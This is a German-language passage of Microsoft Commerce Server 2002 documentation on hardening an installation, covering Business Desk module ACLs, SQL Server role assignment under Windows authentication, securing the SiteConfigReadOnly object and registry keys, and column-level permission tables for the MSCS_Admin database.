Zum Sichern von Business Desk-Sitzungen empfiehlt es sich, nur Business Desk-Clients Zugriff auf den Bereich innerhalb des Internetfirewalls zu gewähren. Die Business Desk-Sitzungen innerhalb des Firewalls sind weiterhin im Klartextformat und können innerhalb des Firewalls ausspioniert werden, dieses Szenario ist aber weniger wahrscheinlich.

Zur zusätzlichen Sicherheit können Sie für Business Desk-Verbindungen SSL (Secure Sockets Layer) verwenden.

Siehe auch

Aktivieren von SSL auf einer Commerce Server-Site

Zugriff auf den Analysis-Server über HTTPS


Sichern der BusinessDesk-Module

Feedback zu dieser Seite senden Commerce Server 2002

Sichern der Business Desk-Module

In diesem Thema wird erläutert, wie Business Desk-Module für eine Commerce Server 2000-Installation durch Festlegen von Zugriffssteuerungseinträgen (ACEs) in Business Desk-ASP-Dateien gesichert werden können. Diese Vorgehensweise ist für die Abwärtskompatibilität mit Commerce Server 2000-Installationen erforderlich.

Verwenden Sie dieses Sicherheitsverfahren nicht bei Commerce Server 2002-Installationen. Verwenden Sie stattdessen das Business Desk-Modul "Berechtigungen", um Business Desk-Benutzern den Zugriff auf bestimmte Business Desk-Funktionen zu gewähren oder zu verweigern. Informationen zur Verwendung des Business Desk-Moduls "Berechtigungen" finden Sie unter Business Desk-Sicherheit.

Jedes Commerce Server 2000 Business Desk-Modul verfügt über eine zentrale ASP-Datei, die vor dem Hinzufügen zum Business Desk-Navigationsbereich auf ACEs überprüft wird. Einem angemeldeten Business Desk-Benutzer, der keine Leseberechtigung für die zentrale ASP-Datei dieses Moduls besitzt, wird das Modul im Navigationsbereich nicht zur Verfügung gestellt.

Hinweise

  • Wenn ein einzelner Benutzer und die authentifizierte Benutzergruppe Zugriff auf ein Commerce Server Business Desk-Modul haben und Sie die Berechtigung des einzelnen Benutzers entfernen, müssen Sie den Clientcomputer neu starten, um die Module, auf die der Benutzer Zugriff hat, in dessen Navigationsleiste zu aktualisieren.
  • Wenn Sie einen ACE für das Administratorkonto einrichten, müssen Sie auch Berechtigungen für die Gruppe Jeder erteilen. Die genaue Einstellung der Berechtigungen ist dabei nicht relevant. Jedoch muss die Gruppe Jeder in der Liste der Benutzer und Gruppen enthalten sein. Falls die Gruppe Jeder keine Zugriffsberechtigung für ein Business Desk-Modul besitzt, können Administratoren nicht auf dieses Modul zugreifen.
  • Wenn Sie eines der folgenden Module sichern, werden standardmäßig alle drei Module gesichert: "Profile veröffentlichen", "Kampagnen veröffentlichen" und "Bestellcodes veröffentlichen".

So beschränken Sie den Zugriff auf Commerce Server Business Desk-Module

  1. Navigieren Sie in Windows Explorer zu dem Ordner, der die Commerce Server Business Desk-Anwendungsdateien enthält.

    Dieser Ordner enthält Ihre IIS-Website. Standardmäßig befindet sich dieser Ordner unter Inetpub\wwwroot.

  2. Klicken Sie auf den Ordner mit dem Modul, für das Sie den Zugriff beschränken möchten.
  3. Klicken Sie anhand der Zuordnungsinformationen in der folgenden Tabelle mit der rechten Maustaste auf die Namen aller Dateien, die zu dem Modul gehören, für das Sie den Zugriff beschränken möchten. Klicken Sie anschließend auf Eigenschaften.
  4. Klicken Sie auf die Registerkarte Sicherheit.
Auf der Registerkarte Sicherheit können Sie die ACEs verwalten, die in der Zugriffssteuerungsliste (ACL, Access Control List) dieser Datei enthalten sind.

In der folgenden Tabelle sind die Dateien aufgelistet, über die Sie ACEs für jedes Business Desk-Modul einrichten können.

Kategorie/Modul | ACE in zugehöriger ASP-Datei
Analyse/Berichte | Analysis\Analysis_reports.asp
Analyse/Abgeschlossene Berichte | Analysis\Analysis_report_viewer.asp
Analyse/Segment-Viewer | Segviewer\Modellist.asp
Kampagnen/Kampagnen-Manager | Marketing\Cmanager.asp
Kampagnen/Listen-Manager | Marketing\Listmanager.asp
Kampagnen/Kampagnenausdrücke | Marketing\Targetexpr.asp
Kampagnen/Zielgruppe | Marketing\Target_group.asp
Kampagnen/Referenztabellen | Marketing\Reftable.asp
Kampagnen/Kampagnen veröffentlichen | Productionrefresh\Refresh.asp
Kataloge/Katalog-Designer | Catalogs\Designer\List_categorydefinitions.asp
Kataloge/Katalog-Editor | Catalogs\Editor\List_catalogs.asp
Kataloge/Katalogsätze | Catalogsets\Catalogsets_list.asp
Bestellungen/Warenkorb-Manager | Orders\Basket_list.asp
Bestellungen/Datencodes | Application\Datacodes_list.asp
Bestellungen/Bestellstatus | Orders\Orderstatus_list.asp
Bestellungen/Bestellcodes veröffentlichen | Productionrefresh\Refresh.asp
Bestellungen/Versandarten | Shipping\Shipping_list.asp
Bestellungen/Steuersätze | Tax\Regionaltax.asp
Profile/Benutzer | Users\Registered.asp
Profile/Organisationen | Organizations\Orgs.asp
Profile/Profildefinitions-Designer | Profiles\Profileselector.asp
Profile/Sitebegriffs-Editor | Profiles\Profileeditor.asp
Profile/Profile veröffentlichen | Profiles\Refreshprofilesvcall.asp
Profile/Profil-Editor | Profiles\Genericprofileeditor.asp


Sichern der Datenbanken

Es wird dringend empfohlen, für den Zugriff auf die Datenbanken Windows-Authentifizierung zu verwenden. Wenn Sie die Datenbank-Verbindungszeichenfolgen für die Windows-Authentifizierung konfigurieren, müssen Sie Business Desk-Benutzern und Laufzeitbenutzern (die ein anonymes Domänenkonto verwenden) den entsprechenden Zugriff auf die Datenbanken zuweisen.

In diesem Abschnitt wird erläutert, wie Sie die Datenbanken sichern, wenn Sie die Site auf die Verwendung der Windows-Authentifizierung für die SQL Server-Datenbanken hin konfigurieren.

Dieser Abschnitt beinhaltet folgende Themen:

  • Skripts für die Sicherung der Datenbanken
  • Zuweisen von SQL Server-Datenbankrollen
  • Sichern der Verwaltungsdatenbank
  • Sichern der Commerce Server-Laufzeitdatenbanken
  • Sichern der Direct Mailer-Datenbank
  • Sichern des Data Warehouse


Skripts für die Sicherung der Datenbanken

Wenn Sie die Site für die Verwendung der Windows-Authentifizierung konfigurieren, müssen Sie Konten für Laufzeitbenutzer und Business Desk-Benutzer erstellen und diese Konten dann den entsprechenden Datenbankrollen zuweisen.

Commerce Server enthält Skripts, durch die Datenbankrollen für Sie erstellt und den Business Desk- und Laufzeitbenutzern die entsprechenden Berechtigungen für den Zugriff auf die Datenbank zugewiesen werden. Diese Skripts befinden sich im Ordner Programme\Microsoft Commerce Server\Support.

Diese Skripts erstellen zwei Rollen:

  • DatenbankReaderRole: Weisen Sie Laufzeitbenutzer, die Ihre Site besuchen, dieser Rolle zu.
  • DatenbankWriterRole: Weisen Sie Business Desk-Benutzer, die Ihre Site aktualisieren, dieser Rolle zu.

Nach Ausführen dieser Skripts und Erstellen der entsprechenden Rollen weisen Sie das Business Desk-Gruppenkonto und das anonyme Laufzeitkonto (ein Domänenkonto) diesen Rollen zu. Weitere Anweisungen finden Sie unter Zuweisen von SQL Server-Datenbankrollen.

In der folgenden Tabelle sind die Sicherheitsskripts von Commerce Server sowie die Datenbanken aufgeführt, für die Sie diese ausführen.

Skript | Ausführung für Datenbank
BDReaderRole und BDWriterRole | Berechtigungen in Business Desk
CampaignReaderRole und CampaignWriterRole | Kampagnen
CatalogSecurityRoles | Kataloge
ProfileReaderRole und ProfileWriterRole | Profile
TransactionReaderRole und TransactionWriterRole | Transaktionen
TransactionConfigReaderRole und TransactionConfigWriterRole | Transaktionskonfiguration

Die Laufzeitdatenbanktabellen von Commerce Server können in einer Datenbank gespeichert sein, jede Ressource kann jedoch auch über Laufzeittabellen in einer eigenen Datenbank verfügen.

Diese Skripts sind so konzipiert, dass sie mit SQL Server für Daten eingesetzt werden können, die in Commerce Server-Laufzeitdatenbanken und der Verwaltungsdatenbank gespeichert sind. Sie sind nicht für Microsoft Active Directory- oder Oracle-Datenbanken geeignet.

Siehe auch

Skripts zum Sichern von Datenbanken, auf die Berichte zugreifen

Skripts zum Sichern von Datenbanken, auf die DTS-Tasks zugreifen

Bereitstellen von Commerce Server mithilfe der Windows-Authentifizierung

Sichern der Verwaltungsdatenbank

Sichern der Direct Mailer-Datenbank


Zuweisen von SQLServer-Datenbankrollen

Feedback zu dieser Seite senden Commerce Server 2002

Zuweisen von SQL Server-Datenbankrollen

Damit Commerce Server Business Desk-Benutzer und Laufzeitbenutzer auf Commerce Server-Ressourcen wie den Produktkatalog zugreifen können, müssen sie über ausreichende Berechtigungen für den Zugriff auf die der Ressource entsprechende SQL Server-Datenbank verfügen. So müssen beispielsweise Business Desk-Benutzer, die die Versandarten ändern, auf die Transaktionskonfigurations-Datenbank zugreifen können.

Wenn Sie die Site für die Verwendung der Windows-Authentifizierung konfigurieren, sollten Sie Domänenkonten für die folgenden Benutzer und Dienste einrichten und anschließend SQL-Anmeldekonten für jedes einzelne Domänenkonto erstellen.

Kontobenutzer | Name des Beispielkontos | Beschreibung
Laufzeitbenutzer | Anonym | Ein Benutzerkonto für anonyme Benutzer, die Ihre Website besuchen.
Business Desk-Benutzer | BDGroup | Ein Gruppenkonto für alle Business Desk-Benutzer. Diese werden auch als Entwurfszeitbenutzer bezeichnet.
Gruppe Erweiterter Bericht | BerichtErweitert | Ein Gruppenkonto für Business Desk-Benutzer, die dynamische Berichte speichern, Berichte ändern und diese löschen müssen.
Gruppe DTS-Task-Import | DTSImport | Ein Gruppenkonto für Systemadministratoren, die DTS-Tasks für Importe ausführen und das Data Warehouse erweitern.
Direct Mailer-Dienst | CSDM | Ein Benutzerkonto für den Direct Mailer-Dienst.
Listen-Manager-Dienst | CSLM | Ein Benutzerkonto für den Listen-Manager-Dienst.
COM+-Anwendung "Config" | CSCOMPlus | Ein Benutzerkonto für die COM+-Anwendung "Config".

Anweisungen zum Erstellen dieser Domänenkonten finden Sie unter Bereitstellen von Commerce Server mithilfe der Windows-Authentifizierung.

Nachdem Sie ein Domänenkonto eingerichtet haben, führen Sie die Sicherheitsskripts von Commerce Server aus, durch die die erforderlichen Datenbankrollen für Business Desk-Benutzer und Laufzeitbenutzer erstellt werden. Anweisungen dazu finden Sie in der Übersicht der Skripts zur Sicherung der Datenbanken.

In diesem Thema wird vorausgesetzt, dass Sie die Domänenkonten erstellt haben und die Commerce Server-Sicherheitsskripts ausführen. Hier werden nun die nächsten Schritte erläutert: die Erstellung des SQL-Anmeldekontos und die anschließende Zuweisung des Domänenkontos zu den Datenbankrollen.

So erstellen Sie ein SQL-Anmeldekonto

  1. Klicken Sie auf Start, zeigen Sie auf Programme und dann auf Microsoft SQL Server, und klicken Sie auf Enterprise Manager.
  2. Erweitern Sie im SQL Server Enterprise Manager die Knoten auf den folgenden Pfad: Microsoft SQL Servers/SQL Server Group/<Computername>/Security.
  3. Klicken Sie mit der rechten Maustaste auf Benutzername, und klicken Sie anschließend auf Neuer Benutzername.
  4. Führen Sie im Bildschirm SQL Server-Anmeldungseigenschaften – Neuer Benutzername auf der Registerkarte Allgemein die folgenden Schritte aus:
    Option | Aktion
    Name | Geben Sie den Namen des Domänenbenutzerkontos ein (beispielsweise Anonym, ein Beispielbenutzerkonto für Laufzeitbenutzer).
    Windows-Authentifizierung | Vergewissern Sie sich, dass diese Option aktiviert ist.
    Domäne | Wählen Sie in der Dropdownliste die Domäne des Kontos aus.
    Zugriff gewähren | Vergewissern Sie sich, dass diese Option für den Sicherheitszugriff aktiviert ist.
    Datenbank | Wählen Sie in der Dropdownliste für diese Anmeldung die Masterdatenbank aus.
    Sprache | Wählen Sie in der Dropdownliste für diese Anmeldung die Standardsprache aus.
  5. Klicken Sie auf OK.
  6. Wiederholen Sie diese Schritte, bis Sie für die folgenden Domänenkonten ein SQL Server-Anmeldekonto erstellt haben: Business Desk-Benutzer (ein Gruppenkonto), Listen-Manager-Dienst, Direct Mailer-Dienst und die COM+-Anwendung "Config".

So weisen Sie einem Anmeldenamen SQL Server-Datenbankrollen zu

  1. Klicken Sie auf Start, zeigen Sie auf Programme und dann auf Microsoft SQL Server, und klicken Sie auf Enterprise Manager.
  2. Erweitern Sie in SQL Server Enterprise Manager das Modul Sicherheit, und klicken Sie dann auf Benutzernamen.
  3. Klicken Sie mit der rechten Maustaste auf ein SQL-Anmeldekonto, und klicken Sie dann auf Eigenschaften.
  4. Klicken Sie im Dialogfeld SQL Server-Anmeldungseigenschaften auf die Registerkarte Datenbankzugriff.
  5. Wählen Sie im oberen Feld eine Datenbank aus, und geben Sie dann im unteren Feld die Rolle für das Konto an.
  6. Wiederholen Sie diese Schritte, bis allen erforderlichen Konten die Zugehörigkeit zu den benötigten Datenbankrollen zugewiesen ist, und klicken Sie dann auf OK.

Hinweis

  • Wenn Sie die SQL Server-Authentifizierung verwenden, enthalten die Ressourcenverbindungszeichenfolgen den SQL-Anmeldenamen und das SQL-Kennwort. Wenn von einer Verbindungszeichenfolge die SQL Server-Authentifizierung verwendet wird, wird bei jedem Zugriff auf die Verbindungszeichenfolge der darin enthaltene Anmeldename verwendet. Aus diesem Grund können Sie die Verbindung zu einer Datenbank nicht unter Verwendung unterschiedlicher Anmeldenamen mit verschiedenen Zugriffsberechtigungen herstellen.

Siehe auch

Skripts zur Sicherung der Datenbanken

Skripts zum Sichern von Datenbanken, auf die Berichte zugreifen

Skripts zum Sichern von Datenbanken, auf die DTS-Tasks zugreifen

Bereitstellen von Commerce Server mithilfe der Windows-Authentifizierung

Sichern der Verwaltungsdatenbank

Sichern der Direct Mailer-Datenbank


Sichern der Verwaltungsdatenbank

Es wird dringend empfohlen, den Server, der die Verwaltungsdatenbank der Site enthält, zu sperren. Nach dem Commerce Server-Setup gewähren Sie den Benutzern dieses Computers zunächst Vollzugriff auf die Verwaltungsdatenbank.

Wichtig

  • Es empfiehlt sich, jede Verwaltungstabelle wie in diesem Abschnitt beschrieben zu sichern, um dem anonymen Konto für jede Tabelle in der Verwaltungsdatenbank die entsprechenden Berechtigungen zu gewähren.

Obwohl das SQL-Kennwort der Verwaltungsdatenbankanmeldung in der Windows-Registrierung verschlüsselt ist, können Benutzer über ein Skript, das auf eines dieser Programmobjekte zugreift, Zugriff darauf erlangen: SiteConfigReadOnly, SiteConfig oder GlobalConfig. Stellen Sie nach dem Setup sicher, dass Benutzer nicht auf den Computer zugreifen bzw. Skripts ausführen können.

SiteConfig und GlobalConfig werden als COM+-Komponenten mit Sicherheitsrollen registriert. SiteConfigReadOnly verfügt hingegen über keine Sicherheitsrolle und ist öffentlich verfügbar.

Sie können die Verwendung der Objekte SiteConfig und GlobalConfig beschränken, indem Sie die Zugriffssteuerungslisten (ACLs) in den Registrierungsschlüsseln für diese Objektklassen ändern. Um den Zugriff auf diese Objekte zu beschränken, ändern Sie die Zugriffsberechtigungen auf diese Objekte im Windows-Registrierungseditor. Anweisungen dazu finden Sie unter Ändern der Zugriffsberechtigung auf ein Administrationsobjekt.

Dieser Abschnitt beinhaltet folgende Themen:

  • Sichern des SiteConfigReadOnly-Objekts
  • Ändern der Zugriffsberechtigung auf ein Administrationsobjekt
  • Sichern von MSCS_Admin-Tabellen
  • Sichern der ExtendedProps-Tabelle
  • Sichern der Pupdbscripts-Tabelle
  • Sichern der ResourceProps-Tabelle
  • Sichern der Resources-Tabelle
  • Sichern der SiteResources-Tabelle
  • Sichern der Sites-Tabelle


Sichern des SiteConfigReadOnly-Objekts

Websites greifen auf das SiteConfigReadOnly-Objekt zu, um Verbindungszeichenfolgen für die Laufzeitressourcen aus der Verwaltungsdatenbank abzurufen. Das SiteConfigReadOnly-Objekt muss für alle Benutzerkonten zugänglich sein, die auf Commerce Server-Anwendungen zugreifen: Anonyme Benutzer müssen über Lesezugriff auf die Verwaltungsdatenbank verfügen, damit sie zur Laufzeit auf die Commerce Server-Datenbanken zugreifen können.

Wenn Sie die integrierte Sicherheit von Windows verwenden, sind die Daten, die an das SiteConfigReadOnly-Objekt zurückgegeben werden, sicher, da keine Benutzernamen oder Kennwörter gespeichert werden.

Wichtig

  • Wenn Sie mit der SQL-Authentifizierung arbeiten (diese Konfiguration wird nicht empfohlen) oder wenn der Webserver nicht gesichert ist und ein Angreifer ein Skript laden und ausführen kann, kann dieser Angreifer die Verbindungszeichenfolgendaten für sämtliche Datenbanken abrufen und die Firewalls überwinden.

Wenn Sie anonymen Zugriff zulassen möchten, muss das SiteConfigReadOnly-Objekt für das anonyme Konto mit dem Namen IUSR_Computername zugänglich sein. Wenn Sie eine ASP.NET-Site verwenden, lautet das anonyme Konto ASPNET. Der Schlüssel für das SiteConfigReadOnly-Objekt lautet D1AA04A4-B00D-4D30-88AA-E3070DAE8040.

Darüber hinaus sollten Sie das SiteConfigReadOnly-Objekt weiter sichern, indem Sie es durch eine COM+-Anwendung sperren.

So sichern Sie das SiteConfigReadOnly-Objekt durch eine COM+-Anwendung

  1. Klicken Sie auf Start, und zeigen Sie auf Programme und dann auf Verwaltung. Klicken Sie anschließend auf Komponentendienste.
  2. Erweitern Sie Komponentendienste, anschließend Arbeitsplatz und dann COM+-Anwendungen.
  3. Klicken Sie mit der rechten Maustaste auf Commerce Server Config, und klicken Sie auf Neu und dann auf Anwendung.

    Daraufhin wird der Installationsassistent für COM-Komponenten gestartet.

  4. Klicken Sie auf Weiter.
  5. Klicken Sie auf Importieren bereits registrierter Komponenten.
  6. Wählen Sie im Dialogfeld Zu importierende Komponenten wählen die Option CS_MSCSCfg.SiteConfigReadOnly aus, und klicken Sie dann auf Weiter.
  7. Klicken Sie auf Fertig stellen.
  8. Erweitern Sie Komponenten, klicken Sie mit der rechten Maustaste auf CS_MSCSCfg.SiteConfigReadOnly, und klicken Sie dann auf Eigenschaften.
  9. Wählen Sie auf der Registerkarte Sicherheit die Optionen Administrators und Web Users aus, und klicken Sie dann auf OK.


Ändern der Zugriffsberechtigung auf ein Administrationsobjekt

Sie können die Verwendung der Objekte SiteConfig und GlobalConfig beschränken, indem Sie die Zugriffssteuerungslisten (ACLs) in den Registrierungsschlüsseln für diese Objektklassen ändern. Um den Zugriff auf diese Objekte zu beschränken, ändern Sie die Zugriffsberechtigungen auf diese Objekte im Windows-Registrierungseditor.

So ändern Sie die Zugriffsberechtigung auf ein Administrationsobjekt

  1. Klicken Sie auf Start und anschließend auf Ausführen.
  2. Geben Sie im Dialogfeld Ausführen im Feld Öffnen die Zeichenfolge regedt32 ein.
  3. Klicken Sie auf HKEY_LOCAL_MACHINE.
  4. Klicken Sie im Menü Ansicht auf Schlüssel finden.
  5. Geben Sie im Dialogfeld Suchen im Feld Suchen nach den jeweiligen Schlüssel ein. Richten Sie sich dabei nach den Einträgen in der folgenden Tabelle.
    Objekt | Schlüssel
    SiteConfig | 31B031AE-8877-4973-BC58-FEE0EF8CE07B
    GlobalConfig | CB438FDD-81EC-45FF-9DBB-9F9FBBF717AF
  6. Deaktivieren Sie das Kontrollkästchen Nur ganzes Wort suchen, und klicken Sie anschließend auf Weitersuchen.

    Eine Liste mit Schlüsseln wird angezeigt. Der ausgewählte Schlüssel wird mit einer dünnen schwarzen Linie gekennzeichnet. Möglicherweise müssen Sie in der Liste nach unten scrollen, um den ausgewählten Schlüssel zu sehen.

  7. Klicken Sie auf den Knoten des gesuchten Schlüssels.
  8. Klicken Sie im Menü Sicherheit auf Berechtigungen.
  9. Stellen Sie im Dialogfeld Berechtigungen die gewünschten Berechtigungen ein. Beschränken Sie die Leseberechtigungen auf Konten, die die Verwaltungsdatenbank nicht modifizieren müssen.


Sichern von MSCS_Admin-Tabellen

Die folgende Tabelle enthält die Berechtigungen, über die ein Konto für die MSCS_Admin-Tabellen verfügen muss. Legen Sie diese Berechtigungen mithilfe von SQL Server Enterprise Manager fest.

Hinweis

  • Wenn die Site auf COM (Component Object Model) basiert, lautet das Standardkonto für anonyme Benutzer in IIS IUSR_Computername. Wenn die Site auf ASP.NET basiert, lautet das Standardkonto für anonyme Benutzer ASPNET.
Tabellenname | IUSR oder ASPNET | IWAM | Dienstkonten | COM+-Konten | Systemadministratoren | Businessmanager
ExtendedProps | Kein Zugriff | Kein Zugriff | Kein Zugriff | Kein Zugriff | SELECT INSERT UPDATE DELETE | Kein Zugriff
pupdbscripts | Kein Zugriff | Kein Zugriff | Kein Zugriff | Kein Zugriff | SELECT INSERT UPDATE DELETE | Kein Zugriff
ResourceProps | SELECT | SELECT | SELECT | SELECT | SELECT INSERT UPDATE DELETE | SELECT UPDATE
Resources | SELECT | SELECT | SELECT | SELECT | SELECT INSERT UPDATE DELETE | SELECT
SiteResources | SELECT | SELECT | SELECT | SELECT | SELECT INSERT UPDATE DELETE | SELECT
Sites | SELECT | SELECT | SELECT | SELECT | SELECT INSERT UPDATE DELETE | SELECT


Sichern der ExtendedProps-Tabelle

In der folgenden Tabelle sind die Berechtigungen aufgeführt, über die ein Konto für die ExtendedProps-Tabelle verfügen muss, die sich in der Datenbank MSCS_Admin befindet. Diese Berechtigungen legen Sie in SQL Server Enterprise Manager fest.

Hinweis

  • Wenn die Site auf COM basiert, lautet das Standardkonto für anonyme Benutzer in IIS IUSR_Computername. Wenn die Site auf ASP.NET basiert, lautet das Standardkonto für anonyme Benutzer ASPNET.
Spalten IUSR oder ASPNET IWAM Dienstkonten COM+-Identitätskonten Systemadministratoren Businessmanager
s_ResourceType
 Kein Zugriff Kein Zugriff Kein Zugriff Kein Zugriff SELECT
UPDATE 		Kein Zugriff
s_PropertyName
 Kein Zugriff Kein Zugriff Kein Zugriff Kein Zugriff SELECT
UPDATE 		Kein Zugriff
f_IsConnStr
 Kein Zugriff Kein Zugriff Kein Zugriff Kein Zugriff SELECT
UPDATE 		Kein Zugriff
f_IsHidden
 Kein Zugriff Kein Zugriff Kein Zugriff Kein Zugriff SELECT
UPDATE 		Kein Zugriff
f_IsSimpleList
 Kein Zugriff Kein Zugriff Kein Zugriff Kein Zugriff SELECT
UPDATE 		Kein Zugriff
s_Description
 Kein Zugriff Kein Zugriff Kein Zugriff Kein Zugriff SELECT
UPDATE 		Kein Zugriff
i_Vartype
 Kein Zugriff Kein Zugriff Kein Zugriff Kein Zugriff SELECT
UPDATE 		Kein Zugriff
s_Value
 Kein Zugriff Kein Zugriff Kein Zugriff Kein Zugriff SELECT
UPDATE 		Kein Zugriff
s_DisplayName
 Kein Zugriff Kein Zugriff Kein Zugriff Kein Zugriff SELECT
UPDATE 		Kein Zugriff


Sichern der Pupdbscripts-Tabelle

In der folgenden Tabelle sind die Berechtigungen aufgeführt, über die ein Konto für die pupdbscripts-Tabelle verfügen muss, die sich in der Datenbank MSCS_Admin befindet. Diese Berechtigungen legen Sie in SQL Server Enterprise Manager fest.

Hinweis

  • Wenn die Site auf COM basiert, lautet das Standardkonto für anonyme Benutzer in IIS IUSR_Computername. Wenn die Site auf ASP.NET basiert, lautet das Standardkonto für anonyme Benutzer ASPNET.
Spalten IUSR oder ASPNET IWAM Dienstkonten COM+-Identitätskonten Systemadministratoren Businessmanager
i_SiteID
 Kein Zugriff Kein Zugriff Kein Zugriff Kein Zugriff SELECT
UPDATE 		Kein Zugriff
i_ResourceID
 Kein Zugriff Kein Zugriff Kein Zugriff Kein Zugriff SELECT
UPDATE 		Kein Zugriff
u_scriptname
 Kein Zugriff Kein Zugriff Kein Zugriff Kein Zugriff SELECT
UPDATE 		Kein Zugriff
txt_script
 Kein Zugriff Kein Zugriff Kein Zugriff Kein Zugriff SELECT
UPDATE 		Kein Zugriff


Sichern der ResourceProps-Tabelle

In der folgenden Tabelle sind die Berechtigungen aufgeführt, über die ein Konto für die ResourceProps-Tabelle verfügen muss, die sich in der Datenbank MSCS_Admin befindet. Diese Berechtigungen legen Sie in SQL Server Enterprise Manager fest.

Hinweis

  • Wenn die Site auf COM basiert, lautet das Standardkonto für anonyme Benutzer in IIS IUSR_Computername. Wenn die Site auf ASP.NET basiert, lautet das Standardkonto für anonyme Benutzer ASPNET.
Spalten IUSR oder ASPNET IWAM Dienstkonten COM+-Identitätskonten Systemadministratoren Businessmanager
i_ResourceID
 SELECT SELECT SELECT SELECT SELECT
UPDATE 		SELECT
s_PropertyName
 SELECT SELECT SELECT SELECT SELECT
UPDATE 		SELECT
f_IsConnStr
 SELECT SELECT SELECT SELECT SELECT
UPDATE 		SELECT
f_IsHidden
 SELECT SELECT SELECT SELECT SELECT
UPDATE 		SELECT
f_IsSimpleList
 SELECT SELECT SELECT SELECT SELECT
UPDATE 		SELECT
s_Description
 Kein Zugriff Kein Zugriff Kein Zugriff Kein Zugriff SELECT
UPDATE 		Kein Zugriff
i_Vartype
 SELECT SELECT SELECT SELECT SELECT
UPDATE 		SELECT
s_Value
 SELECT SELECT SELECT SELECT SELECT
UPDATE 		SELECT
s_DisplayName
 Kein Zugriff Kein Zugriff Kein Zugriff Kein Zugriff SELECT
UPDATE 		Kein Zugriff


Sichern der Resources-Tabelle

In der folgenden Tabelle sind die Berechtigungen aufgeführt, über die ein Konto für die Resources-Tabelle verfügen muss, die sich in der Datenbank MSCS_Admin befindet. Diese Berechtigungen legen Sie in SQL Server Enterprise Manager fest.

Hinweis

  • Wenn die Site auf COM basiert, lautet das Standardkonto für anonyme Benutzer in IIS IUSR_Computername. Wenn die Site auf ASP.NET basiert, lautet das Standardkonto für anonyme Benutzer ASPNET.
Spalten IUSR oder ASPNET IWAM Dienstkonten COM+-Identitätskonten Systemadministratoren Businessmanager
i_ResourceID
 SELECT SELECT SELECT SELECT SELECT
UPDATE 		SELECT
s_DisplayName
 SELECT SELECT SELECT SELECT SELECT
UPDATE 		SELECT
s_Description
 SELECT SELECT SELECT SELECT SELECT
UPDATE 		SELECT
s_Type
 SELECT SELECT SELECT SELECT SELECT
UPDATE 		SELECT
f_IsGlobal
 SELECT SELECT SELECT SELECT SELECT
UPDATE 		SELECT
f_ResourceFlags
 SELECT SELECT SELECT SELECT SELECT
UPDATE 		SELECT
s_ProgIDSnapIn
 SELECT SELECT SELECT SELECT SELECT
UPDATE 		SELECT
s_Computer
 SELECT SELECT SELECT SELECT SELECT
UPDATE 		SELECT
i_Status
 SELECT SELECT SELECT SELECT SELECT
UPDATE 		SELECT
f_PupFlags
 SELECT SELECT SELECT SELECT SELECT
UPDATE 		SELECT
s_ProgIDPUP
 SELECT SELECT SELECT SELECT SELECT
UPDATE 		SELECT
s_PupParam1
 SELECT SELECT SELECT SELECT SELECT
UPDATE 		SELECT
s_PupParam2
 SELECT SELECT SELECT SELECT SELECT
UPDATE 		SELECT
s_PupParam3
 SELECT SELECT SELECT SELECT SELECT
UPDATE 		SELECT


Sichern der SiteResources-Tabelle

In der folgenden Tabelle sind die Berechtigungen aufgeführt, über die ein Konto für die SiteResources-Tabelle verfügen muss, die sich in der Datenbank MSCS_Admin befindet. Diese Berechtigungen legen Sie in SQL Server Enterprise Manager fest.

Hinweis

  • Wenn die Site auf COM basiert, lautet das Standardkonto für anonyme Benutzer in IIS IUSR_Computername. Wenn die Site auf ASP.NET basiert, lautet das Standardkonto für anonyme Benutzer ASPNET.
Spalten IUSR oder ASPNET IWAM Dienstkonten COM+-Identitätskonten Systemadministratoren Businessmanager
i_SiteID
 SELECT SELECT SELECT SELECT SELECT
UPDATE 		SELECT
i_ResourceID
 SELECT SELECT SELECT SELECT SELECT
UPDATE 		SELECT


Sichern der Sites-Tabelle

In der folgenden Tabelle sind die Berechtigungen aufgeführt, über die ein Konto für die Sites-Tabelle verfügen muss, die sich in der Datenbank MSCS_Admin befindet. Diese Berechtigungen legen Sie in SQL Server Enterprise Manager fest.

Hinweis

  • Wenn die Site auf COM basiert, lautet das Standardkonto für anonyme Benutzer in IIS IUSR_Computername. Wenn die Site auf ASP.NET basiert, lautet das Standardkonto für anonyme Benutzer ASPNET.
Spalten IUSR oder ASPNET IWAM Dienstkonten COM+-Identitätskonten Systemadministratoren Businessmanager
i_SiteID
 SELECT SELECT SELECT SELECT SELECT
UPDATE 		SELECT
s_Name
 SELECT SELECT SELECT SELECT SELECT
UPDATE 		SELECT
s_Description
 SELECT SELECT SELECT SELECT SELECT
UPDATE 		SELECT
i_Status
 SELECT SELECT SELECT SELECT SELECT
UPDATE 		SELECT
d_DateCreated
 SELECT SELECT SELECT SELECT SELECT
UPDATE 		SELECT
d_DateModified
 SELECT SELECT SELECT SELECT SELECT
UPDATE 		SELECT


Sichern der CommerceServer-Laufzeitdatenbanken

Feedback zu dieser Seite senden Commerce Server 2002

Sichern der Commerce Server-Laufzeitdatenbanken

Zwei Arten von Benutzerkonten benötigen Zugriff auf Commerce Server-Datenbankobjekte wie Tabellen und gespeicherte Prozeduren:

  • Entwurfszeitbenutzerkonten werden von Business Desk-Benutzern verwendet.
  • Laufzeitbenutzerkonten werden von den Benutzern verwendet, die Ihre Website besuchen.

Dieser Abschnitt enthält detaillierte Informationen zur Bereitstellung des entsprechenden Zugriffs auf die Datenbanken für Entwurfszeit- und Laufzeitbenutzer.

Weitere Informationen zu dem Zugriff, der von den DTS-Tasks in Commerce Server auf die Commerce Server-Laufzeitdatenbanken benötigt wird, finden Sie unter Skripts zum Sichern von Datenbanken, auf die DTS-Tasks zugreifen.

Weitere Informationen über den Zugriff, der von den Commerce Server-Diensten ( Listen-Manager und Direct Mailer) benötigt wird, finden Sie unter Sichern von Dienstkonten.

Dieser Abschnitt beinhaltet folgende Themen:

  • Sichern der Business Desk-Datenbank für Berechtigungen
  • Sichern der Kampagnendatenbank
  • Sichern der Produktkatalogdatenbank
  • Sichern der Profildatenbank
  • Sichern der Transaktionsdatenbank
  • Sichern der Transaktionskonfigurationsdatenbank


Sichern der BusinessDesk-Datenbank für Berechtigungen

Feedback zu dieser Seite senden Commerce Server 2002

Sichern der Business Desk-Datenbank für Berechtigungen

Es wird dringend empfohlen, für den Zugriff auf die Datenbanken Windows-Authentifizierung zu verwenden. Wenn Sie die Datenbank-Verbindungszeichenfolgen für die Windows-Authentifizierung konfigurieren, müssen Sie Business Desk-Benutzern und Laufzeitbenutzern (die ein anonymes Domänenkonto verwenden) den entsprechenden Zugriff auf die Datenbanken zuweisen.

